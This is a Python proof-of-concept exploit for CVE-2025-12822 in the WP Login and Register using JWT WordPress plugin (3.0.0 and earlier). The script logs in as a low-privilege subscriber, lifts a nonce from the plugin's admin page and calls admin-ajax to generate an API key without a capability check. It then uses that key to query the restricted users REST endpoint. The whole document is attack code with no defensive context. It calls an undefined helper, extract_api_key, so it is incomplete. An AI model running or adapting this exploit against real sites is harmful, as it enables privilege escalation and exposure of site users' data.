CVE-2025-12822

import requests import re # CVE-2025-12822 PoC - Unauthorized API Key Generation # Target: WP Login and Register using JWT plugin <= 3.0.0 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "subscriber_user" # Low-privilege account PASSWORD = "password123" def get_nonce(html, action_name): """Extract WordPress nonce from page""" pattern = rf'name="{action_name}" value="([a-f0-9]+)"' match = re.search(pattern, html) return match.group(1) if match else None def cve_2025_12822_poc(): session = requests.Session() # Step 1: Login with low-privilege account login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } resp = session.post(login_url, data=login_data, timeout=10) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return print("[+] Logged in as subscriber") # Step 2: Access plugin admin page to get nonce admin_url = f"{TARGET_URL}/wp-admin/admin.php?page=mo_jwt_generate_new_api_key" admin_page = session.get(admin_url, timeout=10) # Step 3: Generate new API key (exploiting missing capability check) nonce = get_nonce(admin_page.text, '_wpnonce') exploit_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'mo_jwt_generate_new_api_key', '_wpnonce': nonce, 'option': 'mo_jwt_generate_new_api_key' } resp = session.post(exploit_url, data=exploit_data, timeout=10) print(f"[+] Exploit response: {resp.text}") # Step 4: Use generated API key to access restricted endpoints api_key = extract_api_key(resp) if api_key: print(f"[+] API Key obtained: {api_key}") headers = {'Authorization': f'Bearer {api_key}'} restricted_endpoint = f"{TARGET_URL}/wp-json/wp/v2/users" data_resp = session.get(restricted_endpoint, headers=headers, timeout=10) print(f"[+] Accessing restricted endpoint: {data_resp.status_code}") if __name__ == '__main__': cve_2025_12822_poc()

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